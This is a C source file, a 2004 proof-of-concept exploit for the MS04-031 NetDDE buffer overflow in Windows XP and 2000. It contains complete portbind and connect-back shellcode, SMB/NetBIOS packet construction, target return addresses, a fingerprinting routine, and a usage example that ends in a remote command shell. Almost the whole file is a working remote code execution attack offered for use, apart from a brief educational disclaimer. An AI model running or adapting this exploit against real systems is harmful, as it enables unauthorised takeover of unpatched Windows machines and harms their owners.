/* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2 
 * 
 * Copyright (c) 2004 houseofdabus. 
 * 
 * (MS04-031) NetDDE buffer overflow vulnerability PoC 
 * 
 * 
 * 
 * 
 *                 .::[ houseofdabus ]::. 
 * 
 * 
 * 
 * (special unstable version) 
 * --------------------------------------------------------------------- 
 * Description: 
 *    A remote code execution vulnerability exists in the  NetDDE 
 *    services because of an unchecked buffer. An attacker  who 
 *    successfully exploited this vulnerability could take complete 
 *    control of an affected system. However, the NetDDE services are 
 *    not started by default and would have to be manually started for 
 *    an attacker to attempt to remotely exploit this vulnerability. 
 *    This vulnerability could also be used to attempt to perform 
 *    a local elevation of privilege or remote denial of service. 
 * 
 * --------------------------------------------------------------------- 
 * Patch: 
 *  http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx 
 * 
 * --------------------------------------------------------------------- 
 * Tested on: 
 *    - Windows XP Professional SP0 
 *    - Windows XP Professional SP1 
 *    - Windows 2000 Professional SP2 
 *    - Windows 2000 Professional SP3 
 *    - Windows 2000 Professional SP4 
 *    - Windows 2000 Advanced Server SP4 
 * 
 * --------------------------------------------------------------------- 
 *    This is provided as proof-of-concept code only for educational 
 *    purposes and testing by authorized individuals with permission to 
 *    do so. 
 * 
 * --------------------------------------------------------------------- 
 * Compile: 
 * 
 * Win32/VC++  : cl -o HOD-ms04031-expl  HOD-ms04031-expl.c 
 * Win32/cygwin: gcc -o HOD-ms04031-expl  HOD-ms04031-expl.c -lws2_32.lib 
 * Linux       : gcc -o HOD-ms04031-expl  HOD-ms04031-expl.c -Wall 
 * 
 * --------------------------------------------------------------------- 
 * Command Line Parameters/Arguments: 
 * 
 *   HOD-ms04031-expl.exe <host> <netbios name>  <target> <bindport> 
 *                        [connectback IP] [options] 
 * 
 * Targets: 
 *        0 [0x00abfafc]: WinXP [universal] 
 *        1 [0x009efb40]: Win2K [universal] 
 * 
 * Options: 
 *        -f: Netbios name fingerprinting 
 * 
 * --------------------------------------------------------------------- 
 * Example: 
 * 
 * C:\>HOD-ms04031-expl.exe 192.168.0.1 -f 
 * [*] Connecting to 192.168.0.1:139 ... OK 
 * [*] Fingerprinting... OK 
 * [+] Remote netbios name: HOD 
 * 
 * C:\> 
 * C:\>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878 
 * [*] Connecting to 192.168.0.1:139 ... OK 
 * [*] Attacking 192.168.0.1 ...OK. 
 * 
 * C:\>nc 192.168.0.1 7878 
 * 
 * Microsoft Windows 2000 [Version 5.00.2195] 
 * (C) Copyright 1985-2000 Microsoft Corp. 
 * 
 * C:\WINNT\system32> 
 * 
 * --------------------------------------------------------------------- 
 */ 
 
 
/* #define _WIN32 */ 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
#ifdef _WIN32 
#include <winsock2.h> 
#pragma comment(lib, "ws2_32") 
#else 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#endif 
 
 
/* targets table */ 
struct targets { 
int num; 
char name[50]; 
long jmpaddr; 
} 
target[]= { 
{ 0, "WinXP [universal] ", 0x00abfb1c - 0x20 }, 
{ 1, "Win2K [universal] ", 0x009efb60 - 0x20 } 
}; 
 
 
/* portbind shellcode */ 
unsigned char portbindsc[] =   
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" 
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" 
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" 
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" 
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" 
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" 
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" 
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" 
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" 
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" 
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" 
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" 
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" 
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" 
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" 
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" 
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" 
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" 
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" 
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" 
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" 
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" 
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" 
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" 
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" 
"\x28\xff\x55\x0c"; 
 
 
/* connectback shellcode */ 
unsigned char connectbacksc[] =   
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" 
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" 
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" 
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" 
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" 
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" 
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" 
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" 
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" 
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa" 
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02" 
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83" 
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83" 
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc" 
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8" 
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90" 
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50" 
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8" 
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56" 
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa" 
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab" 
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50" 
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff" 
"\x77\x38\xff\x55\x20\xff\x55\x0c"; 
 
 
#define SET_PORTBIND_PORT(buf, port) *(unsigned 
short *)(((buf)+300)) = (port) 
#define SET_CONNECTBACK_IP(buf, ip) *(unsigned 
long  *)(((buf)+283)) = (ip) 
#define SET_CONNECTBACK_PORT(buf, port)
*(unsigned short *)(((buf)+290)) = (port) 
 
 
/*   
   eax = target[].jmpaddr -> stack -> jmpcode -> shellcode 
 
   1. 0100D605   call        dword ptr [eax+20h] 
   2. jmpcode 
   3. shellcode 
*/ 
 
char jmpcode[] = 
"\x90\x90\x90\x90\x66\x81\xC7\x20\x03\xFF\xE7\x90\x90\x90\x90\x90" 
"\x50\x6f\x43\x20\x66\x6f\x72\x20\x4e\x65\x74\x44\x44\x45\x20\x28" 
"\x4d\x53\x30\x34\x2d\x30\x33\x31\x29\x2e\x20\x43\x6f\x70\x79\x72" 
"\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30\x30\x34\x2d\x32\x30" 
"\x30\x35\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62\x75\x73\x2e" 
"\xBB\xBB\xBB\xBB" /* => eax */ 
"PADPAD"; 
 
char smb_sesreq[] = 
"\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45" 
"\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43" 
"\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45" 
"\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43" 
"\x41\x43\x41\x43\x41\x41\x41\x00"; 
 
char smb_negotiate[] = 
"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x02" 
"\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e" 
"\x31\x32\x00"; 
 
char d1[] = 
"\x0d\x12\x0b\x06\x0d\x18\x1c\x01\x10\x03\x12\x08\x1d\x1f\x0a\x0a" 
"\x16\x02\x17\x0e\x1b\x0d"; 
 
char req1[] = 
"\x81\x00\x00\x44"; 
 
char req2[] = 
"CACACACACACACACACACACACACACACABP"; 
 
char h1[] = 
"\x45\x44\x44\x4E\x00\x00\x00"; 
 
char h2[] = 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
 
char h3[] = 
"\x00\x00\x02\x02\x00\x00\x00\x01\x00\x00\x00"; 
 
 
unsigned long ndlen = 0; 
unsigned long ntarget = 0; 
unsigned long backip = 0; 
unsigned short bindport = 0; 
 
 
 
unsigned long 
fixx(unsigned char *data, unsigned long i) 
{ 
unsigned long len; 
 
len = (data[i+3]<<24) + 
(data[i+2]<<16) + 
(data[i+1]<<8) + 
(data[i]); 
 
return len; 
} 
 
 
unsigned long 
chksum(unsigned char *data, unsigned long dlen) 
{ 
unsigned long i, len; 
unsigned long chk; 
 
chk = 0xFFFFFFFF; 
len = dlen - 4; 
 
for (i=0; i<len; i+=4) 
chk += fixx(data, i); 
 
while (i < dlen) { 
chk += (unsigned char)data[i]; 
i++; 
} 
 
return chk; 
} 
 
 
char * 
netbios_encode(char *ndata, char service) 
{ 
char *tmpdata, *data, *nret; 
unsigned long dlen; 
char odiv, omod, o; 
int i; 
 
data = (char *)calloc(17, 1); 
memcpy(data, ndata, strlen(ndata)); 
 
dlen = strlen(data); 
while (dlen < 15) { 
strcat(data, "\x20"); 
dlen++; 
} 
 
memcpy(data+strlen(data), &service, 1); 
 
nret = (char *)calloc(strlen(data)*2+1, 1); 
tmpdata = nret; 
 
for (i=0; i<16; i++) { 
o = (char)data[i]; 
odiv = o / 16; 
odiv = odiv + 0x41; 
omod = o % 16; 
omod = omod + 0x41; 
*tmpdata++ = odiv; 
*tmpdata++ = omod; 
} 
 
free(data); 
 
return nret; 
} 
 
unsigned char * 
find_smbname(unsigned char *data, unsigned long len) 
{ 
unsigned char *ptr; 
unsigned long i = 0; 
 
ptr = data; 
ptr += 91; 
 
while (i <= len - 3) { 
if (ptr[i] == '\x00') 
if (ptr[i+1] == '\x00') 
if (ptr[i+2] == '\x00') 
return ptr+i+3; 
i++; 
} 
 
return NULL; 
} 
 
/* fingerprinting */ 
unsigned char * 
smb_get_name(char *ip) 
{ 
int sock, r; 
unsigned long smbname_len; 
unsigned char *name = NULL, *smbname; 
struct sockaddr_in s; 
struct hostent *he; 
unsigned char buf[256]; 
 
 
if ((he = gethostbyname(ip)) == NULL) { 
printf("[-] Unable to resolve %s\n", ip); 
return NULL; 
} 
 
sock = socket(AF_INET, SOCK_STREAM, 
IPPROTO_TCP); 
if (sock < 0) return NULL; 
 
s.sin_family = AF_INET; 
s.sin_addr = *((struct in_addr *)he->h_addr); 
s.sin_port = htons(139); 
memset(&(s.sin_zero), '\0', 8); 
 
memset(buf, 0, 256); 
 
printf("[*] Connecting to %s:139 ... ", ip); 
r = connect(sock, (struct sockaddr *) &s, sizeof(struct 
sockaddr_in)); 
if (r == 0) { 
printf("OK\n[*] Fingerprinting... "); 
/* sending session request */ 
send(sock, smb_sesreq, sizeof(smb_sesreq)-1, 
0); 
Sleep(1000); 
r = recv(sock, (char *)buf, 256, 0); 
if (r < 0) goto err; 
 
memset(buf, 0, 256); 
/* sending negotiation request */ 
send(sock, smb_negotiate, 
sizeof(smb_negotiate)-1, 0); 
Sleep(1000); 
r = recv(sock, (char *)buf, 256, 0); 
if (r < 0) goto err; 
 
printf("OK\n"); 
smbname = find_smbname(buf, r); 
if (smbname == NULL) goto err; 
smbname_len = smbname - buf; 
 
name = (unsigned char *)calloc(smbname_len, 
1); 
 
/* decoding */ 
r = 0; 
while (smbname_len) { 
if (*smbname != '\x00') { 
name[r] = *smbname; 
r++; 
} 
smbname++; 
smbname_len--; 
} 
} else { 
printf("failed\n[-] Can't connect to %s:139\n", ip); 
} 
 
err: 
shutdown(sock, 1); 
closesocket(sock); 
 
return name; 
} 
 
 
/* NetDDE packet */ 
char * 
packet_assembly(char *name, char *host) 
{ 
char *main, *header, *data; 
char *lname, *rhost; 
unsigned long llen, rlen, len, hlen, dlen, csum, i; 
unsigned char name_hi, name_low, rhost_hi, 
rhost_low; 
unsigned char hod_hi, hod_low, len_hi, len_low; 
unsigned char nops[] = "\x90\x90\x90\x90"; /* nops */ 
char hod[] = "HOD-HOD\x01"; 
char hmain[] = "\x01\x00\xBE\x05\x0A\x00\x00"; 
char tmp[8]; 
 
 
llen = strlen(name) + 4; 
rlen = strlen(host); 
lname = (char *)calloc(llen + 3, 1); 
rhost = (char *)calloc(rlen + 3, 1); 
 
memcpy(lname, name, llen); 
strcpy(rhost, host); 
memcpy(lname + llen, "\x01", 1); 
strcat(rhost, "\x01"); 
 
name_hi   = (unsigned char) ((llen+1) / 256); 
name_low  = (unsigned char) ((llen+1) % 256); 
rhost_hi  = (unsigned char) ((rlen + llen + 2) / 256); 
rhost_low = (unsigned char) ((rlen + llen + 2) % 256); 
 
len = sizeof(hod) - 1; 
hod_hi  = (unsigned char) (len / 256); 
hod_low = (unsigned char) (len % 256); 
 
main = (char *)calloc( sizeof(hod)-1 + 
sizeof(hmain)-1 + 
llen + rlen + 
11, 1 ); 
 
memcpy(main, hmain, sizeof(hmain)-1); 
sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low, 
rhost_hi, rhost_low, hod_hi, hod_low); 
 
memcpy(main+sizeof(hmain)-1, tmp, 6); 
memcpy(main+sizeof(hmain)-1+6, "\x00", 1); 
memcpy(main+sizeof(hmain)-1+7, lname, llen+1); 
memcpy(main+sizeof(hmain)-1+7+llen+1, rhost, 
rlen+1); 
memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod, 
sizeof(hod)-1); 

memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1, 
"\x2e", 1); 
 
len = 
sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1; 
len_hi  = (unsigned char) (len / 256); 
len_low = (unsigned char) (len % 256); 
 
 
/* header */ 
header = (char *)calloc(sizeof(h1)-1 + 
sizeof(h2)-1 + 
sizeof(h3)-1 + 
9, 1); 
 
memcpy(header, h1, sizeof(h1)-1); 
sprintf(tmp, "%c%c", len_hi, len_low); 
memcpy(header+sizeof(h1)-1, tmp, 2); 
memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1); 
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2); 
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3, 
sizeof(h3)-1); 
 
csum = chksum(main, len); 
memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4 
+ sizeof(h3)-1, &csum, 4); 
 
 
/* data */ 
hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8; 
data = (char *)calloc( sizeof(d1)-1 + 
len+hlen + 
37 + 
1200, 1 ); 
 
csum = chksum(header, hlen); 
memcpy(data+4, &csum, 4); 
memcpy(data+4+4, header, hlen); 
memcpy(data+4+4+hlen, main, len); 
memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1); 
 
/* nops */ 
for (i=0; i<154; i++) 
memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4, 
nops, 4); 
 
/* shellcode */ 
if (!backip) { 
/* portbind */ 
SET_PORTBIND_PORT(portbindsc, 
htons(bindport)); 

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, 
portbindsc, sizeof(portbindsc)-1); 
dlen = 
4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4; 
} else { 
/* connectback */ 
SET_CONNECTBACK_IP(connectbacksc, 
backip); 
SET_CONNECTBACK_PORT(connectbacksc, 
htons(bindport)); 

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, 
connectbacksc, sizeof(connectbacksc)-1); 
dlen = 
4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4; 
} 
 
ndlen = dlen + 4; 
dlen = htonl(dlen); 
memcpy(data, &dlen, 4); 
 
free(lname); 
free(rhost); 
free(main); 
free(header); 
 
return data; 
} 
 
 
void 
usage(char *prog) 
{ 
int i; 
 
printf("%s <host> <netbios name> <target> <bindport> 
[connectback IP] [options]\n\n", prog); 
printf("Targets:\n"); 
for (i = 0; i < 2; i++) 
printf(" %d [0x%.8x]: %s\n", target[i].num, 
target[i].jmpaddr, target[i].name); 
printf("\nOptions:\n\t-f: Netbios name fingerprinting\n"); 
exit(0); 
 
} 
 
void 
vargs(int argc, char **argv) 
{ 
int i, finger = 0; 
char *nname = NULL; 
 
for (i = 2; i < argc; i++) { 
if (argv[i][0] == '-') { 
if (argv[i][1] == 'f') 
finger = 1; 
} 
} 
 
if (finger && argc > 2) { 
nname = smb_get_name(argv[1]); 
if (nname) { 
printf("[+] Remote netbios name: %s\n", 
nname); 
free(nname); 
} 
exit(0); 
} else 
if (argc < 5) usage(argv[0]); 
if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]); 
 
bindport = (unsigned short)atoi(argv[4]); 
if (argc > 5) backip = inet_addr(argv[5]); 
 
return; 
} 
 
 
 
int 
main (int argc, char **argv) 
{ 
 
int len, sockfd; 
char *host; 
char *req; 
struct hostent *he; 
struct sockaddr_in their_addr; 
char rbuf[4096]; 
 
#ifdef _WIN32 
WSADATA wsa; 
#endif 
 
char *ses_req; 
char *data, *hname; 
char *hn, *hn2; 
unsigned long req_sz, hname_len, hn_len; 
 
 
#ifdef _WIN32 
WSAStartup(MAKEWORD(2,0), &wsa); 
#endif 
 
 
printf("\n      (MS04-031) NetDDE buffer overflow 
vulnerability PoC\n\n"); 
printf("\tCopyright (c) 2004-2005 .::[ houseofdabus 
]::.\n\n\n"); 
 
vargs(argc, argv); 
 
hn = argv[2]; /* target netbios name */ 
host = argv[1]; /* target host name */ 
 
if (strlen(host) > 1024) return 0; 
 
/* target jmpaddr */ 
memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4); 
 
ses_req = (char *)calloc(sizeof(req1)-1 + 
sizeof(req2)-1 + 
114, 1); 
 
memcpy(ses_req, req1, sizeof(req1)-1); 
memcpy(ses_req+sizeof(req1)-1, "\x20", 1); 
 
hname = netbios_encode(hn, 0x1F); 
hname_len = strlen(hname); 
 
memcpy(ses_req+sizeof(req1)-1+1, hname, 
hname_len); 
memcpy(ses_req+sizeof(req1)-1+1+hname_len, 
"\x00\x20", 2); 
memcpy(ses_req+sizeof(req1)-1+1+hname_len+2, 
req2, sizeof(req2)-1); 

memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1, 
"\x00", 1); 
 
req_sz = 
sizeof(req1)-1+sizeof(req2)-1+hname_len+4; 
 
if ((he = gethostbyname(host)) == NULL) { 
printf("[-] Unable to resolve %s\n", host); 
return 0; 
} 
 
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 
0) { 
printf("[-] Error: socket failed\n"); 
return 0; 
} 
 
req = req1; 
 
their_addr.sin_family = AF_INET; 
their_addr.sin_port = htons(139); 
their_addr.sin_addr = *((struct in_addr *)he->h_addr); 
memset(&(their_addr.sin_zero), '\0', 8); 
 
/* connecting */ 
printf("[*] Connecting to %s:139 ... ", host); 
if (connect(sockfd, (struct sockaddr *)&their_addr, 
sizeof(struct sockaddr)) < 0) { 
printf("[-] Error: connect failed\n"); 
return 0; 
} 
printf("OK\n"); 
 
if (send(sockfd, ses_req, req_sz, 0) < 0) { 
printf("[-] Error: send failed\n"); 
return 0; 
} 
 
len = recv(sockfd, rbuf, 4096, 0); 
if (len < 0) return 0; 
 
/* check NetDDE */ 
if ((unsigned char)rbuf[0] != 0x82) { 
printf("[-] NetDDE disabled or wrong netbios 
name\n"); 
return 0; 
} 
 
hn2 = (char *)calloc(16, 1); 
memcpy(hn2, hn, strlen(hn)); 
hn_len = strlen(hn); 
 
while (hn_len < 15) { 
strcat(hn2, "\x20"); 
hn_len++; 
} 
 
/* attacking */ 
printf("[*] Attacking %s ...", host); 
 
data = packet_assembly(jmpcode, hn2); 
 
if (send(sockfd, data, ndlen, 0) < 0) { 
printf("\n[-] Error: send failed\n"); 
return 0; 
} 
printf("OK.\n"); 
len = recv(sockfd, rbuf, 4096, 0); 
 
shutdown(sockfd, 1); 
closesocket(sockfd); 
free(data); 
free(hn2); 
free(ses_req); 
free(hname); 
 
return 0; 
}